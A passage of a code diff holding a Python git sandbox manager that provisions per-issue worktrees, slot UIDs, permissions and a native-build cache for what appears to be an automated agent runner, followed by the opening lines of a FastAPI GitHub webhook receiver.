f"invalid branch slug {slug!r}: expected kebab-case [a-z0-9-], 1-50 chars, no leading/trailing/double hyphen"
|
||||
)
|
||||
return slug
|
||||
|
||||
|
||||
def rename_workspace_branch(
|
||||
workspace: Workspace,
|
||||
new_slug: str,
|
||||
*,
|
||||
pr_number: int | None = None,
|
||||
slot_uid: int | None = None,
|
||||
) -> str:
|
||||
"""Rename the workspace's local branch to ``farm/<hex>/<new_slug>``.
|
||||
|
||||
The 8-hex disambiguator stays untouched; only the trailing slug after
|
||||
the second `/` changes. Runs ``git branch -m`` inside the worktree
|
||||
(which updates the shared refs in the pool) and mutates
|
||||
``workspace.branch`` in place.
|
||||
|
||||
Idempotent when the computed branch already matches ``workspace.branch``.
|
||||
Raises ``ValueError`` for syntactically invalid slugs or for a
|
||||
workspace whose branch isn't on the ``farm/<hex>/<slug>`` shape.
|
||||
Raises ``GitCommandError`` if the underlying ``git`` invocation fails
|
||||
(e.g. the target branch name is already taken).
|
||||
|
||||
When ``pr_number`` is provided (non-None), the rename is a no-op: an
|
||||
open PR on origin still tracks ``workspace.branch``, and renaming it
|
||||
locally would orphan the PR by leaving its head on a branch that no
|
||||
longer receives pushes. The slug is still validated so callers see
|
||||
the same input errors as the rename path.
|
||||
"""
|
||||
validate_branch_slug(new_slug)
|
||||
parts = workspace.branch.split("/", 2)
|
||||
if len(parts) != 3 or parts[0] != "farm" or not parts[1]:
|
||||
raise ValueError(f"refusing to rename non-farm branch {workspace.branch!r}")
|
||||
new_branch = f"farm/{parts[1]}/{new_slug}"
|
||||
if new_branch == workspace.branch:
|
||||
return new_branch
|
||||
if pr_number is not None:
|
||||
log.warning(
|
||||
"rename_workspace_branch skipped: PR #%d already tracks %r; refusing to rename to %r",
|
||||
pr_number,
|
||||
workspace.branch,
|
||||
new_branch,
|
||||
)
|
||||
return workspace.branch
|
||||
proc = _safe_run(
|
||||
["git", "branch", "-m", workspace.branch, new_branch],
|
||||
cwd=workspace.repo_dir,
|
||||
**_slot_subprocess_kwargs(slot_uid),
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
raise GitCommandError(
|
||||
["git", "branch", "-m", workspace.branch, new_branch],
|
||||
proc.returncode,
|
||||
proc.stdout,
|
||||
proc.stderr,
|
||||
)
|
||||
_share_git_metadata_with_slots(workspace.repo_dir, slot_uid)
|
||||
workspace.branch = new_branch
|
||||
return new_branch
|
||||
|
||||
|
||||
# ---------- GitTransport (transport abstraction over clone/fetch/push) ----------
|
||||
|
||||
|
||||
class GitTransport(Protocol):
|
||||
"""Pluggable remote-facing git operations.
|
||||
|
||||
Two implementations ship in-tree:
|
||||
- `LocalGitTransport`: in-process git with PAT injected per invocation.
|
||||
- `robomp.proxy_client.ProxyGitTransport`: forwards over HMAC RPC.
|
||||
"""
|
||||
|
||||
def clone_pool(self, *, repo: str, clone_url: str, default_branch: str, target: Path) -> None:
|
||||
"""Fresh clone into `target`. `target` must not exist (or be empty)."""
|
||||
...
|
||||
|
||||
def fetch_pool(self, *, repo: str, pool_dir: Path) -> None:
|
||||
"""`git fetch --prune origin` against the shared pool clone."""
|
||||
...
|
||||
|
||||
def fetch_base_ref(self, *, repo: str, pool_dir: Path, ref: str) -> None:
|
||||
"""Best-effort `git fetch origin <ref>` to ensure the base branch is local."""
|
||||
...
|
||||
|
||||
def push_branch(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
workspace_key: str,
|
||||
repo_dir: Path,
|
||||
branch: str,
|
||||
expected_head: str,
|
||||
slot_uid: int | None = None,
|
||||
) -> PushResult:
|
||||
"""Push `branch` to origin. MUST refuse if HEAD has drifted from `expected_head`."""
|
||||
...
|
||||
|
||||
|
||||
class LocalGitTransport:
|
||||
"""Default GitTransport: run git in-process with ephemeral PAT injection.
|
||||
|
||||
`token` MAY be `None` for tests against a local bare repo (no auth) or in
|
||||
deploys where the orchestrator does not hold a PAT (but then the proxy
|
||||
transport should be used instead).
|
||||
"""
|
||||
|
||||
__slots__ = ("_token",)
|
||||
|
||||
def __init__(self, token: str | None) -> None:
|
||||
self._token = token
|
||||
|
||||
def clone_pool(self, *, repo: str, clone_url: str, default_branch: str, target: Path) -> None:
|
||||
del repo # unused; URL identifies the remote
|
||||
git_clone(target, clone_url=clone_url, default_branch=default_branch, token=self._token)
|
||||
|
||||
def fetch_pool(self, *, repo: str, pool_dir: Path) -> None:
|
||||
del repo
|
||||
git_fetch_prune(pool_dir, token=self._token)
|
||||
|
||||
def fetch_base_ref(self, *, repo: str, pool_dir: Path, ref: str) -> None:
|
||||
del repo
|
||||
git_fetch_ref(pool_dir, ref, token=self._token)
|
||||
|
||||
def push_branch(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
workspace_key: str,
|
||||
repo_dir: Path,
|
||||
branch: str,
|
||||
expected_head: str,
|
||||
slot_uid: int | None = None,
|
||||
) -> PushResult:
|
||||
del repo, workspace_key
|
||||
return git_push(repo_dir, branch=branch, expected_head=expected_head, token=self._token, slot_uid=slot_uid)
|
||||
|
||||
|
||||
# ---------- low-level helpers retained for callers expecting old shape ----------
|
||||
|
||||
|
||||
def _safe_run(cmd: list[str], *, cwd: Path | None = None, **kwargs: Any) -> subprocess.CompletedProcess[str]:
|
||||
"""Run without raising; caller decides on returncode. Credentials are redacted from any captured output."""
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
cwd=str(cwd) if cwd else None,
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
**kwargs,
|
||||
)
|
||||
if proc.stdout:
|
||||
proc.stdout = redact_credentials(proc.stdout)
|
||||
if proc.stderr:
|
||||
proc.stderr = redact_credentials(proc.stderr)
|
||||
return proc
|
||||
|
||||
|
||||
def _run(cmd: list[str], *, cwd: Path | None = None) -> subprocess.CompletedProcess[str]:
|
||||
"""Legacy raising helper (still used by a sandbox test). Forwards to subprocess.run."""
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
cwd=str(cwd) if cwd else None,
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
raise GitCommandError(cmd, proc.returncode, proc.stdout, proc.stderr)
|
||||
return proc
|
||||
|
||||
|
||||
_SHARED_OMP_GID = 2000
|
||||
|
||||
|
||||
def _slot_permissions_active(slot_uid: int | None) -> bool:
|
||||
return slot_uid is not None and platform.system() == "Linux" and os.geteuid() == 0
|
||||
|
||||
|
||||
def _slot_pids(slot_uid: int, proc_root: Path = Path("/proc")) -> tuple[int, ...]:
|
||||
"""Return non-zombie process ids owned by the slot UID.
|
||||
|
||||
Debian's slim image does not include procps/pkill. Reading `/proc` keeps
|
||||
slot cleanup self-contained and avoids adding a runtime package only for
|
||||
this one operation.
|
||||
"""
|
||||
try:
|
||||
entries = tuple(proc_root.iterdir())
|
||||
except OSError as exc:
|
||||
log.warning("failed to scan %s for slot user %s: %s", proc_root, slot_uid, exc)
|
||||
return ()
|
||||
|
||||
pids: list[int] = []
|
||||
for entry in entries:
|
||||
if not entry.name.isdecimal():
|
||||
continue
|
||||
try:
|
||||
status = (entry / "status").read_text(encoding="utf-8")
|
||||
except OSError:
|
||||
# The process may have exited between `iterdir` and `read_text`.
|
||||
continue
|
||||
|
||||
state = ""
|
||||
uids: tuple[int, ...] = ()
|
||||
for line in status.splitlines():
|
||||
if line.startswith("State:"):
|
||||
parts = line.split(maxsplit=1)
|
||||
state = parts[1] if len(parts) == 2 else ""
|
||||
elif line.startswith("Uid:"):
|
||||
try:
|
||||
uids = tuple(int(part) for part in line.split()[1:5])
|
||||
except ValueError:
|
||||
uids = ()
|
||||
|
||||
if state.startswith("Z"):
|
||||
continue
|
||||
if slot_uid in uids:
|
||||
pids.append(int(entry.name))
|
||||
return tuple(pids)
|
||||
|
||||
|
||||
def _reap_slot(slot_uid: int | None) -> None:
|
||||
"""Kill any processes still running as a slot UID.
|
||||
|
||||
Slot UIDs are reused. A previous task's straggler process must not survive
|
||||
long enough to observe or interfere with the next task assigned to that UID.
|
||||
"""
|
||||
if not _slot_permissions_active(slot_uid):
|
||||
return
|
||||
assert slot_uid is not None
|
||||
for pid in _slot_pids(slot_uid):
|
||||
try:
|
||||
os.kill(pid, signal.SIGKILL)
|
||||
except ProcessLookupError:
|
||||
continue
|
||||
except OSError as exc:
|
||||
log.warning("failed to kill slot user %s process %s: %s", slot_uid, pid, exc)
|
||||
|
||||
|
||||
def _prepare_slot_tmpdir(workspace: Workspace, slot_uid: int | None) -> Path:
|
||||
"""Return the per-workspace tmpdir path, idempotently provisioning it.
|
||||
|
||||
Ownership/mode is set by ``_chown_workspace`` as part of the workspace's
|
||||
single-ownership invariant; this helper only:
|
||||
|
||||
- replaces any non-directory at ``.omp-tmp`` (symlink-protection: a user
|
||||
who plants a symlink there could redirect later writes outside the
|
||||
workspace regardless of who owns the destination), and
|
||||
- ``mkdir(mode=0o700, exist_ok=True)`` as a safety net for callers that
|
||||
run before ``ensure_workspace`` (e.g. unit tests with ``slot_uid=None``).
|
||||
"""
|
||||
del slot_uid # ownership is _chown_workspace's job; kept for call-site parity
|
||||
tmpdir = workspace.root / ".omp-tmp"
|
||||
try:
|
||||
st = tmpdir.lstat()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
else:
|
||||
if not stat.S_ISDIR(st.st_mode):
|
||||
tmpdir.unlink()
|
||||
tmpdir.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
return tmpdir
|
||||
|
||||
|
||||
def _slot_subprocess_kwargs(slot_uid: int | None) -> dict[str, Any]:
|
||||
"""Return subprocess identity kwargs for commands that should run as a slot.
|
||||
|
||||
`preexec_fn` is intentionally avoided: the worker runs tasks in threads,
|
||||
and `subprocess` warns that `preexec_fn` is unsafe in multithreaded
|
||||
parents. Python's native `user` / `group` / `extra_groups` parameters do
|
||||
the setuid/setgid work in the child safely.
|
||||
"""
|
||||
if not _slot_permissions_active(slot_uid):
|
||||
return {}
|
||||
assert slot_uid is not None
|
||||
return {"user": slot_uid, "group": slot_uid, "extra_groups": [_SHARED_OMP_GID], "umask": 0o002}
|
||||
|
||||
|
||||
def _prepare_slot_runtime_env(workspace: Workspace, slot_uid: int | None) -> dict[str, str]:
|
||||
"""Compute the env overlay (TMPDIR + XDG_*) for slot-side subprocesses.
|
||||
|
||||
Pure env helper: ownership of the workspace tree (including these XDG
|
||||
paths and the bun install cache) is the single responsibility of
|
||||
``ensure_workspace``/``_chown_workspace``. The mkdir calls here exist
|
||||
only as a safety net for callers that bypass ``ensure_workspace`` (unit
|
||||
tests) or for the case where a runtime dir was deleted mid-process.
|
||||
|
||||
Cargo/rustup/target caches live under ``/data/cache/*`` (container ENV)
|
||||
and are group-shared via ``omp``. Bun's install cache is explicitly
|
||||
workspace-private because bun chmod/chowns its cache root, which makes a
|
||||
cross-slot shared cache a permanent source of permission failures.
|
||||
"""
|
||||
tmpdir = _prepare_slot_tmpdir(workspace, slot_uid)
|
||||
xdg_root = workspace.root / ".omp-xdg"
|
||||
xdg_data = xdg_root / "data"
|
||||
xdg_state = xdg_root / "state"
|
||||
xdg_cache = xdg_root / "cache"
|
||||
bun_cache = xdg_cache / "bun-install"
|
||||
|
||||
for base in (xdg_data, xdg_state, xdg_cache):
|
||||
base.mkdir(parents=True, exist_ok=True)
|
||||
(base / "omp").mkdir(parents=True, exist_ok=True)
|
||||
bun_cache.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
return {
|
||||
"TMPDIR": str(tmpdir),
|
||||
"TMP": str(tmpdir),
|
||||
"TEMP": str(tmpdir),
|
||||
"XDG_DATA_HOME": str(xdg_data),
|
||||
"XDG_STATE_HOME": str(xdg_state),
|
||||
"XDG_CACHE_HOME": str(xdg_cache),
|
||||
"BUN_INSTALL_CACHE_DIR": str(bun_cache),
|
||||
}
|
||||
|
||||
|
||||
def _provision_runtime_dirs(ws_root: Path) -> None:
|
||||
"""Create the runtime dirs that ``_chown_workspace`` will hand to the slot.
|
||||
|
||||
Runs immediately before ``_chown_workspace`` so the recursive chown sweep
|
||||
picks up ``.omp-tmp`` and the per-workspace XDG tree. Without this,
|
||||
``_prepare_slot_runtime_env`` would create them later from the orchestrator
|
||||
process — leaving root-owned cache roots that bun/biome/cargo cannot
|
||||
chmod/utime, the original source of the recurring permission failures.
|
||||
|
||||
Symlink-safe on ``.omp-tmp`` (replaces a planted non-directory in place).
|
||||
"""
|
||||
tmpdir = ws_root / ".omp-tmp"
|
||||
try:
|
||||
st = tmpdir.lstat()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
else:
|
||||
if not stat.S_ISDIR(st.st_mode):
|
||||
tmpdir.unlink()
|
||||
tmpdir.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
|
||||
xdg_root = ws_root / ".omp-xdg"
|
||||
for sub in ("data", "state", "cache"):
|
||||
base = xdg_root / sub
|
||||
base.mkdir(parents=True, exist_ok=True)
|
||||
(base / "omp").mkdir(parents=True, exist_ok=True)
|
||||
(xdg_root / "cache" / "bun-install").mkdir(parents=True, exist_ok=True)
|
||||
|
||||
|
||||
def _grant_group_bits(path: Path, *, gid: int, bits: int) -> None:
|
||||
try:
|
||||
st = path.lstat()
|
||||
except FileNotFoundError:
|
||||
return
|
||||
if stat.S_ISLNK(st.st_mode):
|
||||
return
|
||||
os.chown(path, -1, gid)
|
||||
path.chmod(stat.S_IMODE(st.st_mode) | bits)
|
||||
|
||||
|
||||
def _grant_tree(path: Path, *, gid: int, files_group_writable: bool) -> None:
|
||||
if not path.exists():
|
||||
return
|
||||
if path.is_file():
|
||||
bits = stat.S_IRGRP | (stat.S_IWGRP if files_group_writable else 0)
|
||||
_grant_group_bits(path, gid=gid, bits=bits)
|
||||
return
|
||||
for root, dirs, files in os.walk(path, followlinks=False):
|
||||
root_path = Path(root)
|
||||
_grant_group_bits(root_path, gid=gid, bits=stat.S_IRWXG | stat.S_ISGID)
|
||||
for dirname in dirs:
|
||||
_grant_group_bits(root_path / dirname, gid=gid, bits=stat.S_IRWXG | stat.S_ISGID)
|
||||
file_bits = stat.S_IRGRP | (stat.S_IWGRP if files_group_writable else 0)
|
||||
for filename in files:
|
||||
_grant_group_bits(root_path / filename, gid=gid, bits=file_bits)
|
||||
|
||||
|
||||
def _resolve_worktree_git_dirs(repo_dir: Path) -> tuple[Path, Path] | None:
|
||||
marker = repo_dir / ".git"
|
||||
if marker.is_dir():
|
||||
return marker, marker
|
||||
try:
|
||||
text = marker.read_text(encoding="utf-8").strip()
|
||||
except OSError:
|
||||
return None
|
||||
prefix = "gitdir:"
|
||||
if not text.startswith(prefix):
|
||||
return None
|
||||
raw_git_dir = text[len(prefix) :].strip()
|
||||
git_dir = Path(raw_git_dir)
|
||||
if not git_dir.is_absolute():
|
||||
git_dir = (repo_dir / git_dir).resolve()
|
||||
try:
|
||||
raw_common_dir = (git_dir / "commondir").read_text(encoding="utf-8").strip()
|
||||
except OSError:
|
||||
return git_dir, git_dir
|
||||
common_dir = Path(raw_common_dir)
|
||||
if not common_dir.is_absolute():
|
||||
common_dir = (git_dir / common_dir).resolve()
|
||||
return git_dir, common_dir
|
||||
|
||||
|
||||
def _share_git_metadata_with_slots(repo_dir: Path, slot_uid: int | None) -> None:
|
||||
"""Keep shared Git metadata writable by whichever slot gets the retry.
|
||||
|
||||
The worktree checkout itself is slot-private, but `.git` in a Git worktree
|
||||
points back into the shared clone pool. A retry may run as a different
|
||||
`omp-N` user, so the pool-side worktree gitdir, refs, reflogs, and object
|
||||
directories must stay writable through the shared `omp` group.
|
||||
"""
|
||||
if not _slot_permissions_active(slot_uid):
|
||||
return
|
||||
dirs = _resolve_worktree_git_dirs(repo_dir)
|
||||
if dirs is None:
|
||||
return
|
||||
git_dir, common_dir = dirs
|
||||
gid = _SHARED_OMP_GID
|
||||
_grant_tree(git_dir, gid=gid, files_group_writable=True)
|
||||
_grant_group_bits(common_dir, gid=gid, bits=stat.S_IRWXG | stat.S_ISGID)
|
||||
for rel, files_group_writable in (
|
||||
("objects", False),
|
||||
("refs", True),
|
||||
("logs", True),
|
||||
("worktrees", True),
|
||||
):
|
||||
_grant_tree(common_dir / rel, gid=gid, files_group_writable=files_group_writable)
|
||||
for rel in ("config", "packed-refs", "HEAD", "FETCH_HEAD", "ORIG_HEAD"):
|
||||
_grant_tree(common_dir / rel, gid=gid, files_group_writable=True)
|
||||
|
||||
|
||||
def _chown_workspace(ws_root: Path, slot_uid: int | None) -> None:
|
||||
"""Hand the entire workspace tree to the active slot UID/GID.
|
||||
|
||||
Single-ownership invariant: every file under ``ws_root`` ends up owned by
|
||||
``slot_uid:slot_uid`` with mode ``u=rwX,g=rwX,o=`` (``0770`` dirs / ``0660``
|
||||
files). The slot's GID is its own private gid (created by entrypoint.sh),
|
||||
so the group bits are functionally identical to owner-only — they exist
|
||||
for parity with the existing pattern and to make accidental future
|
||||
``setgid`` use safe.
|
||||
|
||||
The orchestrator (root) keeps read/write access via uid-0 bypass; any
|
||||
subprocess that touches paths the agent will revisit MUST drop to the slot
|
||||
via ``_slot_subprocess_kwargs`` so tools like bun/biome/cargo (which
|
||||
chmod/utime their own cache state) never encounter a non-owner file.
|
||||
|
||||
Self-healing on re-entry: an existing workspace left over from the old
|
||||
``root:slot`` model gets re-chown'd on the next ``ensure_workspace`` call.
|
||||
"""
|
||||
if slot_uid is None:
|
||||
return
|
||||
if platform.system() != "Linux":
|
||||
return
|
||||
if os.geteuid() != 0:
|
||||
return
|
||||
subprocess.run(["chown", "-R", f"{slot_uid}:{slot_uid}", str(ws_root)], check=True)
|
||||
subprocess.run(["chmod", "-R", "u=rwX,g=rwX,o=", str(ws_root)], check=True)
|
||||
|
||||
|
||||
# ---------- SandboxManager ----------
|
||||
|
||||
|
||||
class SandboxManager:
|
||||
"""Manages a shared clone pool and per-issue worktrees.
|
||||
|
||||
Remote-facing git operations are delegated to a `GitTransport`; the rest
|
||||
(worktree add/remove, identity config, directory layout) is purely local.
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
root: Path,
|
||||
*,
|
||||
transport: GitTransport | None = None,
|
||||
natives_cache: NativesCache | None = None,
|
||||
) -> None:
|
||||
self.root = root
|
||||
self.pool = root / "_pool"
|
||||
self.transport: GitTransport = transport or LocalGitTransport(token=None)
|
||||
self.natives_cache = natives_cache
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
self.pool.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# ---- pool ----
|
||||
def pool_path(self, repo: str) -> Path:
|
||||
return self.pool / repo.replace("/", "__")
|
||||
|
||||
def ensure_clone(self, *, repo: str, clone_url: str, default_branch: str) -> Path:
|
||||
"""Idempotent shared clone for `repo`.
|
||||
|
||||
`clone_url` MUST be a plain `https://github.com/<owner>/<repo>.git`
|
||||
(no embedded credentials). Auth is supplied per-call by the transport.
|
||||
"""
|
||||
target = self.pool_path(repo)
|
||||
if (target / ".git").exists() or (target / "HEAD").exists():
|
||||
# Idempotent refresh. An older deploy may have baked a
|
||||
# credentialed `https://user:pass@github.com/...` into
|
||||
# `.git/config`; rewrite to the credential-free URL we now own
|
||||
# before fetching so the PAT never persists on disk.
|
||||
self._reset_origin_url(target, clone_url)
|
||||
self.transport.fetch_pool(repo=repo, pool_dir=target)
|
||||
return target
|
||||
target.mkdir(parents=True, exist_ok=True)
|
||||
self.transport.clone_pool(
|
||||
repo=repo,
|
||||
clone_url=clone_url,
|
||||
default_branch=default_branch,
|
||||
target=target,
|
||||
)
|
||||
return target
|
||||
|
||||
@staticmethod
|
||||
def _reset_origin_url(repo_dir: Path, clone_url: str) -> None:
|
||||
"""`git remote set-url origin <clone_url>` if origin exists and differs.
|
||||
|
||||
Best-effort: silent no-op on failure (probe `get-url` first so we don't
|
||||
spam logs on first-time clones where origin isn't configured yet).
|
||||
"""
|
||||
probe = _safe_run(["git", "remote", "get-url", "origin"], cwd=repo_dir)
|
||||
if probe.returncode != 0:
|
||||
return
|
||||
if probe.stdout.strip() == clone_url:
|
||||
return
|
||||
_safe_run(["git", "remote", "set-url", "origin", clone_url], cwd=repo_dir)
|
||||
|
||||
# ---- per-issue workspace ----
|
||||
def workspace_root(self, repo: str, number: int) -> Path:
|
||||
return self.root / workspace_key(repo, number)
|
||||
|
||||
def ensure_workspace(
|
||||
self,
|
||||
*,
|
||||
repo: str,
|
||||
number: int,
|
||||
title: str,
|
||||
clone_url: str,
|
||||
default_branch: str,
|
||||
existing_branch: str | None = None,
|
||||
author_name: str,
|
||||
author_email: str,
|
||||
slot_uid: int | None = None,
|
||||
) -> Workspace:
|
||||
"""Create or resume a per-issue worktree."""
|
||||
pool = self.ensure_clone(repo=repo, clone_url=clone_url, default_branch=default_branch)
|
||||
ws_root = self.workspace_root(repo, number)
|
||||
repo_dir = ws_root / "repo"
|
||||
session_dir = ws_root / ".omp-session"
|
||||
context_dir = ws_root / "context"
|
||||
artifacts_dir = ws_root / "artifacts"
|
||||
for path in (ws_root, session_dir, context_dir, context_dir / "repro", artifacts_dir):
|
||||
path.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
branch = existing_branch or make_branch(
|
||||
issue_number=number,
|
||||
title=title,
|
||||
seed=f"{repo}#{number}",
|
||||
)
|
||||
|
||||
repo_exists = (repo_dir / ".git").exists()
|
||||
workspace_prepared = False
|
||||
slot_git_kwargs = _slot_subprocess_kwargs(slot_uid)
|
||||
slot_git_env: dict[str, str] | None = None
|
||||
if repo_exists:
|
||||
# Existing workspaces are already slot-owned from the previous run.
|
||||
# Refresh pool-side group bits, then hand the tree to the current
|
||||
# slot before running any git command inside the worktree; root's
|
||||
# uid-0 bypass does not bypass git's safe.directory ownership check.
|
||||
_share_git_metadata_with_slots(repo_dir, slot_uid)
|
||||
_provision_runtime_dirs(ws_root)
|
||||
_chown_workspace(ws_root, slot_uid)
|
||||
workspace_prepared = True
|
||||
if not repo_exists:
|
||||
# Make sure the requested start point exists locally (best-effort).
|
||||
# For follow-ups on an existing PR, `existing_branch` is the remote
|
||||
# head branch we need to amend; starting from default would silently
|
||||
# lose the PR's current commits if the local pool branch is absent.
|
||||
self.transport.fetch_base_ref(repo=repo, pool_dir=pool, ref=existing_branch or default_branch)
|
||||
check = _safe_run(["git", "rev-parse", "--verify", f"refs/heads/{branch}"], cwd=pool)
|
||||
if check.returncode == 0:
|
||||
_run(["git", "worktree", "add", str(repo_dir), branch], cwd=pool)
|
||||
else:
|
||||
start_point = f"origin/{default_branch}"
|
||||
if existing_branch:
|
||||
remote = _safe_run(
|
||||
["git", "rev-parse", "--verify", f"refs/remotes/origin/{existing_branch}"],
|
||||
cwd=pool,
|
||||
)
|
||||
if remote.returncode == 0:
|
||||
start_point = f"origin/{existing_branch}"
|
||||
_run(
|
||||
[
|
||||
"git",
|
||||
"worktree",
|
||||
"add",
|
||||
"-b",
|
||||
branch,
|
||||
str(repo_dir),
|
||||
start_point,
|
||||
],
|
||||
cwd=pool,
|
||||
)
|
||||
else:
|
||||
slot_git_env = _git_env_for_repo(repo_dir)
|
||||
current = _safe_run(
|
||||
["git", "symbolic-ref", "--quiet", "--short", "HEAD"],
|
||||
cwd=repo_dir,
|
||||
env=slot_git_env,
|
||||
**slot_git_kwargs,
|
||||
)
|
||||
if current.returncode == 0 and current.stdout.strip():
|
||||
branch = current.stdout.strip()
|
||||
if existing_branch is not None and existing_branch != branch:
|
||||
log.warning(
|
||||
"workspace branch mapping %r differs from checked-out branch %r; using checkout",
|
||||
existing_branch,
|
||||
branch,
|
||||
)
|
||||
if not workspace_prepared:
|
||||
_share_git_metadata_with_slots(repo_dir, slot_uid)
|
||||
_provision_runtime_dirs(ws_root)
|
||||
_chown_workspace(ws_root, slot_uid)
|
||||
if slot_git_env is None:
|
||||
slot_git_env = _git_env_for_repo(repo_dir)
|
||||
# Identity is set on the worktree's shared config; idempotent. Run as
|
||||
# the slot after the chown so git never trips over safe.directory.
|
||||
for command in (["git", "config", "user.email", author_email], ["git", "config", "user.name", author_name]):
|
||||
proc = _safe_run(command, cwd=repo_dir, env=slot_git_env, **slot_git_kwargs)
|
||||
if proc.returncode != 0:
|
||||
raise GitCommandError(command, proc.returncode, proc.stdout, proc.stderr)
|
||||
_share_git_metadata_with_slots(repo_dir, slot_uid)
|
||||
workspace = Workspace(
|
||||
root=ws_root,
|
||||
repo_dir=repo_dir,
|
||||
session_dir=session_dir,
|
||||
context_dir=context_dir,
|
||||
artifacts_dir=artifacts_dir,
|
||||
branch=branch,
|
||||
repo_full_name=repo,
|
||||
issue_number=number,
|
||||
)
|
||||
# Best-effort: hardlink pre-built natives in if we've cached this
|
||||
# source state before. Runs AFTER the slot chown so the cache inode
|
||||
# keeps its `root:omp` ownership (the slot reads through group `omp`);
|
||||
# write-temp + rename in the napi build replaces with a new inode if
|
||||
# the agent rebuilds, so the cached file is never mutated.
|
||||
self._populate_natives_cache(workspace, slot_uid=slot_uid)
|
||||
return workspace
|
||||
|
||||
def _populate_natives_cache(self, workspace: Workspace, *, slot_uid: int | None = None) -> None:
|
||||
"""Try to hardlink cached pi-natives artifacts into the worktree.
|
||||
|
||||
Best-effort: any failure (no cache configured, non-git worktree,
|
||||
cache miss, link error) is logged at debug and swallowed. The agent
|
||||
falls back to a fresh napi build, exactly as it would without the
|
||||
cache.
|
||||
|
||||
Post-populate, the populated `packages/natives/native/` directory
|
||||
and the COPIED companion files are chowned to the slot so the slot
|
||||
can rebuild via temp + rename in that directory. The hardlinked
|
||||
`.node` files are LEFT at `root:omp` ownership — chowning them
|
||||
would chown the cache file too (shared inode), breaking the
|
||||
cross-slot sharing model. The slot reads them via group `omp`.
|
||||
"""
|
||||
cache = self.natives_cache
|
||||
if cache is None:
|
||||
return
|
||||
native_dir = workspace.repo_dir / "packages" / "natives" / "native"
|
||||
# NOTE: we deliberately do NOT require `native_dir.exists()` here. On
|
||||
# a cache miss `populate_workspace` returns None without creating any
|
||||
# directory; on a hit it mkdirs and copies in. That's the right
|
||||
# behavior — a hit by definition implies this repo's source state
|
||||
# produces natives, so creating the dir is correct.
|
||||
try:
|
||||
key = natives_compute_key(workspace.repo_dir)
|
||||
except (subprocess.CalledProcessError, RuntimeError, OSError) as exc:
|
||||
log.debug(
|
||||
"natives_cache key compute failed",
|
||||
extra={"workspace": workspace.workspace_key, "err": redact_credentials(str(exc))},
|
||||
)
|
||||
return
|
||||
try:
|
||||
hit = cache.populate_workspace(workspace.repo_full_name, key, native_dir)
|
||||
except OSError as exc:
|
||||
log.warning(
|
||||
"natives_cache populate failed",
|
||||
extra={"workspace": workspace.workspace_key, "key": key, "err": str(exc)},
|
||||
)
|
||||
return
|
||||
if hit is not None and _slot_permissions_active(slot_uid):
|
||||
assert slot_uid is not None
|
||||
self._chown_natives_for_slot(native_dir, hit, slot_uid=slot_uid)
|
||||
log.info(
|
||||
"natives_cache",
|
||||
extra={
|
||||
"action": "hit" if hit is not None else "miss",
|
||||
"workspace": workspace.workspace_key,
|
||||
"repo": workspace.repo_full_name,
|
||||
"key": key,
|
||||
"files": [str(p.name) for p in hit.files] if hit is not None else [],
|
||||
},
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _chown_natives_for_slot(native_dir: Path, hit: CacheHit, *, slot_uid: int) -> None:
|
||||
"""Hand the populated native dir to the slot WITHOUT touching the
|
||||
hardlinked `.node` inodes (those are shared with the cache).
|
||||
|
||||
Files whose names match a cached `.node` are skipped — they are
|
||||
hardlinks back into the root:omp cache and the slot reads them via
|
||||
group `omp`. Everything else (the directory itself, copied
|
||||
companions) is chowned to the slot so the slot can rebuild via
|
||||
temp + rename.
|
||||
"""
|
||||
try:
|
||||
os.chown(native_dir, slot_uid, slot_uid)
|
||||
except OSError as exc:
|
||||
log.warning("natives_cache chown dir failed", extra={"err": str(exc)})
|
||||
return
|
||||
node_basenames = {p.name for p in hit.files if p.name.endswith(".node")}
|
||||
for child in native_dir.iterdir():
|
||||
if child.name in node_basenames:
|
||||
continue # hardlink to cache — must not chown
|
||||
try:
|
||||
os.chown(child, slot_uid, slot_uid, follow_symlinks=False)
|
||||
except OSError as exc:
|
||||
log.warning(
|
||||
"natives_cache chown companion failed",
|
||||
extra={"file": str(child), "err": str(exc)},
|
||||
)
|
||||
|
||||
def remove_workspace(self, *, repo: str, number: int) -> None:
|
||||
ws_root = self.workspace_root(repo, number)
|
||||
repo_dir = ws_root / "repo"
|
||||
if repo_dir.exists():
|
||||
pool = self.pool_path(repo)
|
||||
_safe_run(["git", "worktree", "remove", "--force", str(repo_dir)], cwd=pool)
|
||||
if repo_dir.exists():
|
||||
shutil.rmtree(repo_dir, ignore_errors=True)
|
||||
if ws_root.exists():
|
||||
shutil.rmtree(ws_root, ignore_errors=True)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"GitCommandError",
|
||||
"GitTransport",
|
||||
"LocalGitTransport",
|
||||
"SandboxManager",
|
||||
"Workspace",
|
||||
"make_branch",
|
||||
"rename_workspace_branch",
|
||||
"validate_branch_slug",
|
||||
"redact_credentials",
|
||||
"workspace_key",
|
||||
]
|
||||
@@ -0,0 +1,790 @@
|
||||
"""FastAPI receiver for GitHub webhooks."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import time
|
||||
from collections.abc import AsyncIterator, Awaitable, Callable, Mapping
|
||||
from contextlib import asynccontextmanager
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
from fastapi import Body, FastAPI, Header, HTTPException, Request, status
|
||||
from fastapi.responses import HTMLResponse, JSONResponse
|
||||
from fastapi.staticfiles import StaticFiles
|
||||
|
||||
from robomp import github_events
|
||||
from robomp.autoclose import AutocloseScheduler
|
||||
from robomp.config import Settings, get_settings
|
||||
